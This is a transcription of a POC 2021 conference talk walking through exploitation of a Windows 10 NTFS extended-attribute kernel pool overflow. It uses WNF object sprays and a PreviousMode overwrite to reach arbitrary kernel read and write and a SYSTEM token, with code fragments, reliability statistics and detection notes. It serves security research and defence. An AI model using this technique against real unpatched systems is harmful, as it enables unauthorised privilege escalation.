Pwning the Windows 10 Kernel with NTFS and WNF - POC 2021
|
|
|
- Edmund Lucas
- 4 years ago
- Views:
Transcription
1 Pwning the Windows 10 Kernel with NTFS and WNF - POC 2021
2 Introduction
3 About Currently a Security Researcher within NCC Exploit Development Group (EDG). Supported by other team members at NCC (Cedric Halbronn and Aaron Adams). Previously won some Pwn2Own's (2018 Apple Safari / 2017 Huawei Mate Pro etc) Research interests primarily platform security (OS's/Mobile/Browser/Embedded etc) 3 / 70
4 Background A Windows local kernel priv escalation CVE vulnerability affecting a large range of versions Based on a vulnerability found exploited in the wild by Boris Larin of Kaspersky Challenges around exploit development on latest Windows 10 version at the time - 20H2 (Segment Heap etc) Provide tangible info to defenders and help enhance mitigations Offensive research is necessary to defend against advanced threats 4 / 70
5 Agenda Vulnerability Overview WNF Introduction WNF Exploit Primitives Exploitation without CVE Post Exploitation Reliability and Cleanup Exploit Testing Detection 5 / 70
6 Vulnerability Overview NTFS Vulnerability Details
7 Vulnerability Details To exploit a vulnerability we first need a good understanding of the issue. Kaspersky had done a lot of the initial triage in their blog. However, from an exploit developer perspective, we need to understand all the contraints and flexibility it offers. In this case "is it a good memory corruption?" and what challenges would need addressed. Actually a fun challenge as other vulns could be more reliable in practice. 7 / 70
8 Vulnerability Details int64 fastcall NtfsQueryEaUserEaList( int64 a1, int64 eas_blocks_for_file, int64 a3, int64 out_buf, unsigned int out_buf_length, unsigned int *a6, char a7) { unsigned int padding; // er15 padding = 0; for ( i = a6; ; i = (unsigned int *)((char *)i + *i) ) { if ( i == v11 ) { v15 = occupied_length; out_buf_pos = (_DWORD *)(out_buf + padding + occupied_length); if ( (unsigned int8)ntfslocateeabyname( ea_blocks_for_file, *(unsigned int *)(a3 + 4), &DestinationString, &ea_block_pos) ) { ea_block = (FILE_FULL_EA_INFORMATION *)(ea_blocks_for_file + ea_block_pos); ea_block_size = ea_block->eanamelength + ea_block->eavaluelength + 9; if ( ea_block_size <= out_buf_length - padding ) } { } memmove(out_buf_pos, ea_block, ea_block_size); *out_buf_pos = 0; goto LABEL_8; // Attacker controlled from Ea // The check which can underflow... 8 / 70
9 Vulnerability Details LABEL_8: LABEL_12: *((_BYTE *)out_buf_pos + *((unsigned int8 *)v11 + 4) + 8) = 0; v18 = ea_block_size + padding + v15; occupied_length = v18; if (!a7 ) { if ( v23 ) *v23 = (_DWORD)out_buf_pos - (_DWORD)v23; if ( *v11 ) { v23 = out_buf_pos; out_buf_length -= ea_block_size + padding; padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size; goto LABEL_24; } } 9 / 70
10 Vulnerability Details Lets put some sample numbers into this. Assume two EA's so two iterations of the loop. First iteration: EaNameLength = 5 EaValueLength = 4 ea_block_size = = 18 padding = 0 So assuming that 18 < out_buf_length - 0, data would be copied into the buffer. We will use 30 for this example. out_buf_length = out_buf_length = 12 // we would have 12 bytes left of the output buffer. padding = ((18+3) & 0xFFFFFFFC) - 18 padding = 2 10 / 70
11 Vulnerability Details Asssume second extended attribute with the same values EaNameLength = 5 EaValueLength = 4 ea_block_size = = 18 At this point padding is 2, so the calculation is: 18 <= 12-2 // is False. Second memcpy fails as it would overflow the buffer. 11 / 70
12 Vulnerability Details So lets consider an overflowing case (when output buffer size is 18). First EA: EaNameLength = 5 EaValueLength = 4 Second Ea: EaNameLength = 5 EaValueLength = 47 First iteration the loop: EaNameLength = 5 EaValueLength = 4 ea_block_size = // 18 padding = 0 // First time into the loop 12 / 70
13 Vulnerability Details 18 <= 18-0 // is True and a copy of 18 occurs. out_buf_length = out_buf_length = 0 // out_buf_len has been decremented (0 bytes left). padding = ((18+3) & 0xFFFFFFFC) - 18 padding = 2 Second iteration of loop: EaNameLength = 5 EaValueLength = 47 ea_block_size = ea_block_size = 61 Check is: ea_block_size <= out_buf_length - padding 61 <= 0-2 Therefore we have overflowed the buffer by 43 bytes (61-18) due to the check wrapping. 13 / 70
14 Vulnerability Details Next Questions are: Where is the buffer allocated? Can we control the contents of the overflow? The allocation NtfsCommonQueryEa: if ( (_DWORD)out_buf_length ) { out_buf = (PVOID)NtfsMapUserBuffer(a2, 16i64); v28 = out_buf; v16 = (unsigned int)out_buf_length; if ( *(_BYTE *)(a2 + 64) ) { v35 = out_buf; // PagedPool allocation out_buf = ExAllocatePoolWithTag((POOL_TYPE)(PoolType 0x10), (unsigned int)out_buf_length, 0x Eu); v28 = out_buf; v24 = 1; v16 = out_buf_length; } memset(out_buf, 0, v16); v15 = v43; LOBYTE(v12) = v25; } 14 / 70
15 Triggering the Corruption To anwser the second question we need to look at how to trigger the overflow. Looking at the callers for NtfsCommonQueryEa we can see NtQueryEaFile as NT syscall. NTSTATUS NtQueryEaFile( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, BOOLEAN ReturnSingleEntry, PVOID EaList, ULONG EaListLength, PULONG EaIndex, BOOLEAN RestartScan ); We control the Length of the output buffer using this. Provided we make the Length the same size as the first EA And make sure that the padding is present. Then querying the second EA will trigger the overflow. But how do we construct EA's like this? 15 / 70
16 Triggering the Corruption NtSetEaFile is the way to set extended attributes NTSTATUS ZwSetEaFile( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length ); Key thing here is Buffer which needs to be crafted correctly. 16 / 70
17 Triggering the Corruption Buffer is a pointer to a caller-supplied, FILE_FULL_EA_INFORMATION structured input buffer that contains the extended attribute values to be set. typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; NextEntryOffset must be set to the second EA at an offset which is padded to a block boundary. Two extended attributes, first set to the size of the output buffer, second set to the amount of data to overflow by. Set the file extended attributes using NtSetEaFile and then query them using NtQueryEaFile. 17 / 70
18 Vulnerability Summary 1. The attacker can control the data which is used within the overflow and the size of the overflow. Extended attribute values do not constrain the values which they can contain. 2. The overflow is linear and will corrupt any adjacent pool chunks. 3. The attacker has control over the size of the pool chunk allocated. This is a good overflow for exploitation! :) 18 / 70
19 Windows 10 Kernel Pool Layout What does the Kernel Memory look like? Aim to cover some of the basics here Recommend reading the following papers: Scoop the Windows 10 Pool by by Corentin Bayet and Paul Fariello Windows Kernel Heap by scwuaptx Windows Heap Backed Pool by Yarden Shafir 19 / 70
20 Windows 10 Kernel Pool Layout Allocator Backends: Low Fragmentation Heap (LFH) Variable Size Heap (VS) Segment Allocation Large Alloc In this talk we are going to focus on exploitation on the LFH. 20 / 70
21 Windows 10 Kernel Pool Layout When I started doing this research I actually imposed more constraints that needed on myself. Going to talk about exploitation this way, then and improved iteration of the exploit. Pool page ffff9a069986f3b0 region is Paged pool ffff9a069986f010 size: 30 previous size: 0 (Allocated) Ntf0 ffff9a069986f040 size: 30 previous size: 0 (Free)... ffff9a069986f070 size: 30 previous size: 0 (Free)... ffff9a069986f0a0 size: 30 previous size: 0 (Free) CMNb ffff9a069986f0d0 size: 30 previous size: 0 (Free) CMNb ffff9a069986f100 size: 30 previous size: 0 (Allocated) Luaf ffff9a069986f130 size: 30 previous size: 0 (Free) SeSd ffff9a069986f160 size: 30 previous size: 0 (Free) SeSd ffff9a069986f190 size: 30 previous size: 0 (Allocated) Ntf0 ffff9a069986f1c0 size: 30 previous size: 0 (Free) SeSd ffff9a069986f1f0 size: 30 previous size: 0 (Free) CMNb ffff9a069986f220 size: 30 previous size: 0 (Free) CMNb ffff9a069986f250 size: 30 previous size: 0 (Allocated) Ntf0 ffff9a069986f280 size: 30 previous size: 0 (Free) SeGa ffff9a069986f2b0 size: 30 previous size: 0 (Free) Ntf0 ffff9a069986f2e0 size: 30 previous size: 0 (Free) CMNb ffff9a069986f310 size: 30 previous size: 0 (Allocated) Ntf0 ffff9a069986f340 size: 30 previous size: 0 (Free) SeSd ffff9a069986f370 size: 30 previous size: 0 (Free) APpt ffff9a069986f3a0 size: 30 previous size: 0 (Allocated) *NtFE Pooltag NtFE : Ea.c, Binary : ntfs.sys ffff9a069986f3d0 size: 30 previous size: 0 (Allocated) Ntf0 ffff9a069986f400 size: 30 previous size: 0 (Free) SeSd 21 / 70
22 Windows 10 Kernel Pool ffff c4d80 size: 30 previous size: 0 (Allocated) *NtFE Pooltag NtFE : Ea.c, Binary : ntfs.sys ffff c4db0 size: 30 previous size: 0 (Free) C... 1: kd> dt!_pool_header ffff c4d80 nt!_pool_header +0x000 PreviousSize : 0y (0) +0x000 PoolIndex : 0y (0) +0x002 BlockSize : 0y (0x3) +0x002 PoolType : 0y (0x3) +0x000 Ulong1 : 0x x004 PoolTag : 0x e +0x008 ProcessBilled : 0x c`007d0062 _EPROCESS +0x008 AllocatorBackTraceIndex : 0x62 +0x00a PoolTagHash : 0x7d _POOL_HEADER followed by 0x12 bytes of data. 0x12 + 0x10 = 0x22 rounded up to the 0x30 chunk size. Changing the EA sizes we can get bigger sized LFH chunks allocated. ffffa48bc76c2600 size: 70 previous size: 0 (Allocated) NtFE Can we get anything controlled adjacent? 22 / 70
23 WNF Introduction Windows Notification Framework
24 WNF Introduction The original Kaspersky article mentioned the in-the-wild attackers were using WNF. This was a novel exploitation techique to enable arbitrary r/w. WNF is an undocumented subsystem of the Windows Kernel. However, there has been previous research from a how it works and logic bugs perspective. The Windows Notification Facility Playing with the Windows Notification Facility But the key things from a memory corruption perspective are: Can we perform controlled allocations and free's of free's of chunks which can be adjacent? Can any of the backing structures or functions be used to enable exploit primitives? 24 / 70
25 WNF Exploit Primitives Windows Notification Framework Primitives
26 Controlled Page Pool Allocations Key observation here, that WNF allocations are made within the Paged Pool (same as the NTFS overflowing chunk) The data used for notifications looks like this (header followed by the data itself): nt!_wnf_state_data +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B Pointed at by a _WNF_NAME_INSTANCE StateData pointer: nt!_wnf_name_instance +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : Ptr64 _WNF_STATE_DATA +0x060 CurrentChangeStamp : Uint4B +0x068 PermanentDataStore : Ptr64 Void +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY / 70
27 Controlled Page Pool Allocations NtUpdateWnfStateData calls ExpWnfWriteStateData which has the following code: v19 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(v6 + 16), 0x20666E57u); Looking at the function prototype: extern "C" NTSTATUS NTAPI NtUpdateWnfStateData( _In_ PWNF_STATE_NAME StateName, _In_reads_bytes_opt_(Length) const VOID * Buffer, _In_opt_ ULONG Length, _In_opt_ PCWNF_TYPE_ID TypeId, _In_opt_ const PVOID ExplicitScope, _In_ WNF_CHANGE_STAMP MatchingChangeStamp, _In_ ULONG CheckStamp ); We can see Length is our v6 value 16 (the 0x10-byte header prepended). Therefore using this we can perform controlled size allocations of data we control! NtCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, 0x1000, psd); NtUpdateWnfStateData(&state, buf, alloc_size, 0, 0, 0, 0); 27 / 70
28 Controlled Free 28 / 70
29 Relative Memory Read Overflow into DataSize to corrupt the value and enable a larger memory read. nt!_wnf_state_data +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B Read the data back using NtQueryWnfStateData 29 / 70
30 Relative Memory Write Corrupt the AllocatedSize nt!_wnf_state_data +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B extern "C" NTSTATUS NTAPI NtUpdateWnfStateData( _In_ PWNF_STATE_NAME StateName, _In_reads_bytes_opt_(Length) const VOID * Buffer, _In_opt_ ULONG Length, _In_opt_ PCWNF_TYPE_ID TypeId, _In_opt_ const PVOID ExplicitScope, _In_ WNF_CHANGE_STAMP MatchingChangeStamp, _In_ ULONG CheckStamp ); Code reuses existing memory allocation and thus overflows! 30 / 70
31 Arbitrary Read (Pipe Attributes Technique) Discussed within the Scoop the Windows 10 Pool paper. Relies in being able to overflow into an adjacent Pipe Attribute (also allocated on Paged Pool) Corrupt the list FLINK pointer and inject in fake "Pipe Attribute". 31 / 70
32 Arbitrary Write (StateData Pointer Corruption) Investigate if it is possible to corrupt the StateData pointer of a _WNF_NAME_INSTANCE to change relative write to arbitrary write. Fake sane values for DataSize and AllocatedSize Use ExpWnfWriteStateData to write controlled data to a controlled location. _WNF_NAME_INSTANCE we can see that it will be of size 0xA8 + the POOL_HEADER (0x10), so 0xB8 in size. This ends up being put into a chunk of 0xC0 within the segment pool 32 / 70
33 StateName Lookup So this works to overflow the StateData pointer. The aim was to point StateData at the leaked EPROCESS address from CVE However in the process we destroy other fields within the struct: 1: kd> dt _WNF_NAME_INSTANCE ffffdd09b35c8310+0x10 nt!_wnf_name_instance +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : 0x ` _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : 0xffff8d87`686c8088 _WNF_STATE_DATA +0x060 CurrentChangeStamp : 1 +0x068 PermanentDataStore : (null) +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY [ 0xffffdd09b35c8398-0xffffdd09b35c8398 ] +0x088 TemporaryNameListEntry : _LIST_ENTRY [ 0xffffdd09b35c8ee8-0xffffdd09b35c85e8 ] +0x098 CreatorProcess : 0xffff8d87`686c8080 _EPROCESS This means that we are now unable to lookup a WNF State to use... problem! 33 / 70
34 StateName Lookup How do we workaround this? StateName is used for the lookup. There is the external version of the StateName which is the internal version of the StateName XOR d with 0x41C64E6DA3BC0074. For example, the external StateName value 0x41c64e6da36d9945 would become the following internally: 1: kd> dx -id 0,0,ffff8d87686c8080 -r1 (*((ntkrnlmp!_wnf_state_name_struct *)0xffffdd09b35c8348)) (*((ntkrnlmp!_wnf_state_name_struct *)0xffffdd09b35c8348)) _WNF_STATE_NAME_STRUCT] [+0x000 ( 3: 0)] Version : 0x1 [Type: unsigned int64] [+0x000 ( 5: 4)] NameLifetime : 0x3 [Type: unsigned int64] [+0x000 ( 9: 6)] DataScope : 0x4 [Type: unsigned int64] [+0x000 (10:10)] PermanentData : 0x0 [Type: unsigned int64] [+0x000 (63:11)] Sequence : 0x1a33 [Type: unsigned int64] 1: kd> dc 0xffffdd09b35c8348 ffffdd09`b35c d19931 [Type: 34 / 70
35 StateName Lookup struct _WNF_SCOPE_INSTANCE { struct _WNF_NODE_HEADER Header; struct _EX_RUNDOWN_REF RunRef; enum _WNF_DATA_SCOPE DataScope; ULONG InstanceIdSize; VOID* InstanceIdData; struct _LIST_ENTRY ResolverListEntry; struct _WNF_LOCK NameSetLock; struct _RTL_AVL_TREE NameSet; VOID* PermanentDataStore; VOID* VolatilePermanentDataStore; }; //0x0 //0x8 //0x10 //0x14 //0x18 //0x20 //0x30 //0x38 //0x40 //0x48 _QWORD * fastcall ExpWnfFindStateName( int64 scopeinstance, unsigned int64 statename) { _QWORD *i; // rax } for ( i = *(_QWORD **)(scopeinstance + 0x38); ; i = (_QWORD *)i[1] ) { while ( 1 ) { if (!i ) return 0i64; if ( statename >= i[3] ) break; i = (_QWORD *)*i; } if ( statename <= i[3] ) break; } return i - 2; 35 / 70
36 StateName Forgery We dont know what element is going to be corrupted. However, with the control over the heap we can forge this. This is not very reliable though. 36 / 70
37 Security Descriptor The final thing we need to forge is the security descriptor Can point this to forged one within userspace. 1: kd> dx -id 0,0,ffffce86a715f300 -r1 ((ntkrnlmp!_security_descriptor *)0xffff9e8253eca5a0) ((ntkrnlmp!_security_descriptor *)0xffff9e8253eca5a0) : 0xffff9e8253eca5a0 [Type: _SECURITY_DESCRIPTOR *] [+0x000] Revision : 0x1 [Type: unsigned char] [+0x001] Sbz1 : 0x0 [Type: unsigned char] [+0x002] Control : 0x800c [Type: unsigned short] [+0x008] Owner : 0x0 [Type: void *] [+0x010] Group : 0x [Type: void *] [+0x018] Sacl : 0x [Type: _ACL *] [+0x020] Dacl : 0x101001f0013 [Type: _ACL *] 37 / 70
38 CVE Information Leak A seporate information leak vulnerability. Allows leaking the EPROCESS address from every process out. NtQuerySystemInformation with SUPERFETCH_INFORMATION discloses it. NtQuerySystemInformation only available at medium integrity. There's public POCs online for this now too. 38 / 70
39 EPROCESS Overwrite But the exploit is not very reliable.. can we improve this? 39 / 70
40 Exploitation without CVE
41 Exploit Version 2 Aim was to exploit without using CVE information leak. To allow exploitation from low integrity. To increase reliability to a high standard. More investigation of _WNF_NAME_INSTANCE Credits also to Yan ZiShuang who also published on this. 41 / 70
42 _WNF_NAME_INSTANCE EPROCESS nt!_wnf_name_instance +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : Ptr64 _WNF_STATE_DATA +0x060 CurrentChangeStamp : Uint4B +0x068 PermanentDataStore : Ptr64 Void +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY +0x088 TemporaryNameListEntry : _LIST_ENTRY +0x098 CreatorProcess : Ptr64 _EPROCESS +0x0a0 DataSubscribersCount : Int4B +0x0a4 CurrentDeliveryCount : Int4B 42 / 70
43 Goal Layout 43 / 70
44 LFH Randomisation 44 / 70
45 Spray and Overflow (Take 2) _WNF_NAME_INSTANCE is 0xA8 + the POOL_HEADER (0x10), so 0xB8 (Chunk size 0xC0) _WNF_STATE_DATA objects of size 0xA0 (which when added with the header 0x10 + the POOL_HEADER (0x10) we also end up with a chunk allocated of 0xC0. Possible corrupted data nt!_wnf_name_instance +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF nt!_wnf_state_data +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B 45 / 70
46 Problems and Solutions Only want to corrupt _WNF_STATE_DATA objects first but pool segment also contains _WNF_NAME_INSTANCE due to being the same size. Use only a 0x10 data size overflow and clean up afterwards. Unbounded _WNF_STATA_DATA could be positioned at end of chunk. NtQueryWnfStateData read would go off end of page. Increase spray size Other OS objects using same pool subsegment (i.e. same size). Large spray size means whole new subsegments segments are allocated. 46 / 70
47 Locating a _WNF_NAME_INSTANCE and overwriting the State At this point _WNF_STATE_DATA has been overflowed and unbounded the DataSize and AllocatedSize But how to we locate a _WNF_NAME_INSTANCE? Each has a byte patern "\x03\x09\xa8" in its header. Therefore from this we know the start and can work out where the variables are located. Disclose the CreatorProcess, StateName, StateData, ScopeInstance. Use relative write to replace items. Goal was to enable arbitrary write but without having to worry about matching up DataSize and AllocatedSize. Aiming for KTHREAD PreviousMode. 47 / 70
48 PreviousMode "When a user-mode application calls the Nt or Zw version of a native system services routine, the system call mechanism traps the calling thread to kernel mode. To indicate that the parameter values originated in user mode, the trap handler for the system call sets the PreviousMode field in the thread object of the caller to UserMode. The native system services routine checks the PreviousMode field of the calling thread to determine whether the parameters are from a user-mode source." MiReadWriteVirtualMemory which is called from NtWriteVirtualMemory checks to see that if PreviousMode is not set when a user-mode thread executes, then the address validation is skipped and kernel memory space addresses can be written too 48 / 70
49 Locating PreviousMode from EPROCESS 49 / 70
50 Stage 2 Diagram 50 / 70
51 Abusing PreviousMode PreviousMode Overwrite
52 Abusing PreviousMode Once we have set the StateData pointer of the _WNF_NAME_INSTANCE prior to the _KPROCESS ThreadListHead Flink we can leak out the value by confusing it with the DataSize and the ChangeTimestamp, we can then calculate the FLINK as FLINK = (uintptr_t)changetimestamp << 32 DataSize after querying the object. This allows us to calculate the _KTHREAD address using FLINK - 0x2f8. Once we have the address of the _KTHREAD we need to again find a sane value to confuse with the AllocatedSize and DataSize to allow reading and writing of PreviousMode value at offset 0x232. In this case, pointing it into here: +0x220 Process : 0xffff900f56ef0340 _KPROCESS +0x228 UserAffinity : _GROUP_AFFINITY +0x228 UserAffinityFill : [10] 52 / 70
53 Stage 3 53 / 70
54 Game Over After setting PreviousMode to 0, arbitrary read/write across whole memory space using NtWriteVirtualMemory and NtReadVirtualMemory. Trivial to either: Walk the ActiveProcessLinks within the EPROCESS, obtain a pointer to a SYSTEM token and replace current token. Overwrite _SEP_TOKEN_PRIVILEGES using common techniques long used by Windows exploits. 54 / 70
55 Reliability and Testing Reliability and Testing
56 Reliability At this point exploit is succesful! However, kernel memory can be in a bad state.. Can lead to a BSOD quicky after. Need to clean up kernel memory to maintain stability. There's a limit to what we can actually do though. 56 / 70
57 PreviousMode Restoration Simply set PreviousMode back to 1 using NtWriteVirtualMemory If we don't do this we get a crash as follows: Access violation - code c (!!! second chance!!!) nt!psplocateinpemanifest+0xa9: fffff804`502f1bb5 0fba68080d bts dword ptr [rax+8],0dh 0: kd> kv # Child-SP RetAddr : Args to Child : Call Site 00 ffff8583c6259c90 fffff804502f0689 : b24ec ff : nt!psplocateinpemanifest+0xa9 01 ffff8583c6259d00 fffff804501f19d0 : aa ffff8583c625a : nt!pspsetupuserprocessaddressspace+0xdd 02 ffff8583c6259db0 fffff ca6d : ffff8583c625a : nt!pspallocateprocess+0x11a4 03 ffff8583c625a2d0 fffff b5 : b24ec560 : nt!ntcreateuserprocess+0x6ed 04 ffff8583c625aa ffdb35cd6b4 : : nt!kisystemservicecopyend+0x25 ffff8583`c625ab00) cc853e : : ntdll!ntcreateuserprocess+0x14 57 / 70
58 StateData Pointer Restoration This one is more tricky. StateData pointer is free'd on process termination (i.e. Neds to be valid allocated address) Walk the Name Instance Tree and fix up 58 / 70
59 StateData Pointer Restoration QWORD* FindStateName(unsigned int64 StateName) { QWORD* i; // _WNF_SCOPE_INSTANCE+0x38 (NameSet) for (i = (QWORD*)read64((char*)BackupScopeInstance+0x38); ; i = (QWORD*)read64((char*)i + 0x8)) { while (1) { if (!i) return 0; // StateName is 0x18 after the TreeLinks FLINK QWORD CurrStateName = (QWORD)read64((char*)i + 0x18); if (StateName >= CurrStateName) break; i = (QWORD*)read64(i); } QWORD CurrStateName = (QWORD)read64((char*)i + 0x18); } if (StateName <= CurrStateName) break; } return (QWORD*)((QWORD*)i - 2); 59 / 70
60 RunRef Restoration RunRef from _WNF_NAME_INSTANCE s in the process of obtaining our unbounded _WNF_STATE_DATA ExReleaseRundownProtection causes a crash because its been corrupted. Need to obtain a full list of _WNF_NAME_INSTANCES _EPROCESS WnfContext nt!_wnf_process_context +0x000 Header : _WNF_NODE_HEADER +0x008 Process : Ptr64 _EPROCESS +0x010 WnfProcessesListEntry : _LIST_ENTRY +0x020 ImplicitScopeInstances : [3] Ptr64 Void +0x038 TemporaryNamesListLock : _WNF_LOCK +0x040 TemporaryNamesListHead : _LIST_ENTRY +0x050 ProcessSubscriptionListLock : _WNF_LOCK +0x058 ProcessSubscriptionListHead : _LIST_ENTRY +0x068 DeliveryPendingListLock : _WNF_LOCK +0x070 DeliveryPendingListHead : _LIST_ENTRY +0x080 NotificationEvent : Ptr64 _KEVENT Iterate through that and fix up. 60 / 70
61 RunRef Restoration void FindCorruptedRunRefs(LPVOID wnf_process_context_ptr) { // +0x040 TemporaryNamesListHead : _LIST_ENTRY LPVOID first = read64((char*)wnf_process_context_ptr + 0x40); LPVOID ptr; for (ptr = read64(read64((char*)wnf_process_context_ptr + 0x40)); ; ptr = read64(ptr)) { if (ptr == first) return; // +0x088 TemporaryNameListEntry : _LIST_ENTRY QWORD* nameinstance = (QWORD*)ptr - 17; QWORD header = (QWORD)read64(nameinstance); if (header!= 0x A80903) { printf("corrupted header at _WNF_NAME_INSTANCE %p?\n", nameinstance); printf("header %p\n", header); printf("++ doing fixups ++\n"); } } } // Fix the header up. write64(nameinstance, 0x A80903); // Fix the RunRef up. write64((char*)nameinstance + 0x8, 0); 61 / 70
62 Is it reliable enough?
63 Statistics SYSTEM shells Number of times a SYSTEM shell was launched. Total LFH Writes For all 100 runs of the exploit, how many corruptions were triggered. Avg LFH Writes Average number of LFH overflows needed to obtain a SYSTEM shell. Failed a er 32 How many times the exploit failed to overflow an adjacent object of the required target type, by reaching the max number of overflow attempts. 32 was chosen a semi-arbitrary value based on empirical testing and the blocks in the BlockBitmap for the LFH being scanned by groups of 32 blocks. BSODs on exec Number of times the exploit BSOD the box on execution. Unmapped Read Number of times the relative read reaches unmapped memory (ExpWnfReadStateData) included in the BSOD on exec count above. 63 / 70
64 Spray Size Variation Result SYSTEM shells Total LFH writes Avg LFH writes Failed a er BSODs on exec Unmapped Read Increasing spray size leads to much decreased change of hitting unmapped reads. Average number of overflow writes roughly similar regardless of spray size. 90% ish average reliability 64 / 70
65 Exploit Demo! 65 / 70
66 How can this be found?
67 Detection Possible artefacts? NTFS Extended Attributes being created and queried. WNF objects being created (as part of the spray) Failed exploit attempts leading to BSODs 67 / 70
68 NTFS Extended Attributes 68 / 70
69 Conclusion Affects a wide range of Windows versions, however, prior to segment heap needs different exploitation techniques. Managed to get a 90% reliable exploit on the most recent Windows version with all mitigations on. However, from a practical purpose, there are better bugs which enable more reliable primitives. Not too many Windows systems which are now on this patch level Was a fun challenge to exploit regardless :) More detailed blogs online: / 70
70 Credits Boris Larin Cedric Halbronn and Aaron Adams Yan ZiShuang Alex Ionescu and Gabrielle Viala Corentin Bayet and Paul Fariello 70 / 70
Kernel Pool Exploitation on Windows 7
Kernel Pool Exploitation on Windows 7 Tarjei Mandt [email protected] Abstract. In Windows 7, Microsoft introduced safe unlinking to address the growing number of security bulletins affecting the Windows
HTC Windows Phone 7 Arbitrary Read/Write of Kernel Memory 10/11/2011
MWR InfoSecurity Advisory HTC Windows Phone 7 Arbitrary Read/Write of Kernel Memory 10/11/2011 Package Name Date 10/11/2011 Affected Versions HTC Windows Phone 7 Phones HTC HD7 confirmed to be vulnerable.
Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions
Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions Andy Davis, Research Director NCC Group Image from: p1fran.com UK Offices Manchester - Head Office Cheltenham Edinburgh
Exploiting Trustzone on Android
1 Introduction Exploiting Trustzone on Android Di Shen(@returnsme) [email protected] This paper tells a real story about exploiting TrustZone step by step. I target an implementation of Trusted Execution
Review and Exploit Neglected Attack Surface in ios 8. Tielei Wang, Hao Xu, Xiaobo Chen of TEAM PANGU
Review and Exploit Neglected Attack Surface in ios 8 Tielei Wang, Hao Xu, Xiaobo Chen of TEAM PANGU BlackHat 2015 Agenda ios Security Background Review of Attack Surfaces Fuzz More IOKit and MIG System
Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions
Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions Andy Davis, Research Director NCC Group Image from: p1fran.com UK Offices North American Offices Australian Offices Manchester
Windows XP SP3 Registry Handling Buffer Overflow
Windows XP SP3 Registry Handling Buffer Overflow by Matthew j00ru Jurczyk and Gynvael Coldwind Hispasec 1. Basic Information Name Windows XP SP3 Registry Handling Buffer Overflow Class Design Error Impact
Unix Security Technologies. Pete Markowsky <peterm[at] ccs.neu.edu>
Unix Security Technologies Pete Markowsky What is this about? The goal of this CPU/SWS are: Introduce you to classic vulnerabilities Get you to understand security advisories Make
Exploiting nginx chunked overflow bug, the undisclosed attack vector
Exploiting nginx chunked overflow bug, the undisclosed attack vector Long Le [email protected] About VNSECURITY.NET CLGT CTF team 2 VNSECURITY.NET In this talk Nginx brief introduction Nginx chunked
VICE Catch the hookers! (Plus new rootkit techniques) Jamie Butler Greg Hoglund
VICE Catch the hookers! (Plus new rootkit techniques) Jamie Butler Greg Hoglund Agenda Introduction to Rootkits Where to Hook VICE detection Direct Kernel Object Manipulation (DKOM) No hooking required!
ERNW Newsletter 51 / September 2015
ERNW Newsletter 51 / September 2015 Playing With Fire: Attacking the FireEye MPS Date: 9/10/2015 Classification: Author(s): Public Felix Wilhelm TABLE OF CONTENT 1 MALWARE PROTECTION SYSTEM... 4 2 GAINING
Bypassing Memory Protections: The Future of Exploitation
Bypassing Memory Protections: The Future of Exploitation Alexander Sotirov [email protected] About me Exploit development since 1999 Research into reliable exploitation techniques: Heap Feng Shui in JavaScript
WLSI Windows Local Shellcode Injection. Cesar Cerrudo Argeniss (www.argeniss.com)
WLSI Windows Local Shellcode Injection Cesar Cerrudo Argeniss (www.argeniss.com) Overview _ Introduction _ Establishing a LPC connection _ Creating a shared section _ The technique _ Building an exploit
Software security. Buffer overflow attacks SQL injections. Lecture 11 EIT060 Computer Security
Software security Buffer overflow attacks SQL injections Lecture 11 EIT060 Computer Security Buffer overflow attacks Buffer overrun is another common term Definition A condition at an interface under which
CVE-2012-1535 Adobe Flash Player Integer Overflow Vulnerability Analysis
